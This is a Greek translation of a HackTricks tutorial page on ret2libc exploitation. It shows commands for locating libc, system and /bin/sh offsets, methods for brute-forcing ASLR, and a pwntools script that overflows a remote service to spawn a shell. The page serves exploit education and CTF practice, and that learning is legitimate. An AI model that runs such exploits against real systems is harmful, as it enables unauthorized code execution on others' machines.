Ret2lib

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Η ουσία του Ret2Libc είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε μια κοινή βιβλιοθήκη (π.χ., system, execve, strcpy) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα ώστε να δείχνει στη συνάρτηση της βιβλιοθήκης που επιθυμεί, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης.

Παράδειγμα Βημάτων (απλοποιημένο)

  • Πάρτε τη διεύθυνση της συνάρτησης που θα καλέσετε (π.χ. system) και την εντολή που θα καλέσετε (π.χ. /bin/sh)
  • Δημιουργήστε μια αλυσίδα ROP για να περάσετε το πρώτο επιχείρημα που δείχνει στη συμβολοσειρά εντολής και τη ροή εκτέλεσης στη συνάρτηση

Εύρεση των διευθύνσεων

  • Υποθέτοντας ότι η libc που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της libc μπορείτε να κάνετε:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση στη συνάρτηση system με:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση προς τη συνάρτηση της συμβολοσειράς /bin/sh με:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Χρησιμοποιώντας gdb-peda / GEF

Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιήσετε το Peda ή το GEF για να αποκτήσετε τη διεύθυνση της συνάρτησης system, της συνάρτησης exit και της συμβολοσειράς /bin/sh :

bash
p system
p exit
find "/bin/sh"

Χρησιμοποιώντας /proc/<PID>/maps

Αν η διαδικασία δημιουργεί παιδιά κάθε φορά που μιλάτε μαζί της (διακομιστής δικτύου) προσπαθήστε να διαβάσετε αυτό το αρχείο (πιθανώς θα χρειαστεί να είστε root).

Εδώ μπορείτε να βρείτε ακριβώς πού είναι φορτωμένο το libc μέσα στη διαδικασία και πού θα φορτωθεί για κάθε παιδί της διαδικασίας.

Σε αυτή την περίπτωση είναι φορτωμένο στο 0xb75dc000 (Αυτή θα είναι η βασική διεύθυνση του libc)

Άγνωστο libc

Είναι πιθανό να δεν γνωρίζετε το libc που φορτώνει το δυαδικό αρχείο (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc χρησιμοποιείται:

Leaking libc address with ROP

Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο:

Leaking libc - template

Γνωρίζοντας το libc με 2 offsets

Ελέγξτε τη σελίδα https://libc.blukat.me/ και χρησιμοποιήστε μερικές διευθύνσεις συναρτήσεων μέσα στο libc για να ανακαλύψετε την έκδοση που χρησιμοποιείται.

Παράκαμψη ASLR σε 32 bit

Αυτές οι επιθέσεις brute-force είναι μόνο χρήσιμες για συστήματα 32bit.

  • Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να κάνετε brute-force τη βασική διεύθυνση του libc (χρήσιμο για συστήματα 32bit):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να σπάσετε τη διεύθυνση της συνάρτησης libc usleep, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει, βρήκατε τη διεύθυνση αυτής της συνάρτησης.

One Gadget

Εκτελέστε ένα shell απλά πηδώντας σε μία συγκεκριμένη διεύθυνση στη libc:

One Gadget

x86 Ret2lib Code Example

Σε αυτό το παράδειγμα, η brute-force ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

Δείτε το παράδειγμα από:

ROP - Return Oriented Programing

ARM64 Ret2lib Example

Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το x30 registry και όχι εκεί που δείχνει το stack registry. Έτσι είναι λίγο πιο περίπλοκο.

Επίσης στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξεις στη μέση των εντολών και να τις μετατρέψεις σε νέες).

Δείτε το παράδειγμα από:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Αυτό επιτρέπει να διαρρεύσει πληροφορίες από τη διαδικασία καλώντας printf/puts με κάποια συγκεκριμένα δεδομένα τοποθετημένα ως επιχείρημα. Για παράδειγμα, τοποθετώντας τη διεύθυνση του puts στο GOT σε μια εκτέλεση του puts θα διαρρεύσει τη διεύθυνση του puts στη μνήμη.

Ret2printf

Αυτό σημαίνει βασικά την κακή χρήση ενός Ret2lib για να το μετατρέψει σε μια ευπάθεια μορφοποίησης συμβολοσειρών printf χρησιμοποιώντας το ret2lib για να καλέσει το printf με τις τιμές για να το εκμεταλλευτεί (ακούγεται άχρηστο αλλά είναι δυνατό):

Format Strings

Other Examples & references

  • https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
  • Ret2lib, δεδομένης μιας διαρροής στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget
  • https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει system('/bin/sh')
  • https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64 bits, ASLR ενεργοποιημένο, χωρίς canary, stack overflow στο main από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget.
  • https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
  • 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget.
  • https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
  • Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το canary από το stack και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του /bin/sh.
  • https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
  • 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κακή ευρετηρίαση για να διαρρεύσει διευθύνσεις της libc και του heap από το stack. Κακή χρήση της υπερχείλισης buffer για να κάνει ένα ret2lib καλώντας system('/bin/sh') (η διεύθυνση του heap είναι απαραίτητη για να παρακαμφθεί μια έλεγχο).

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks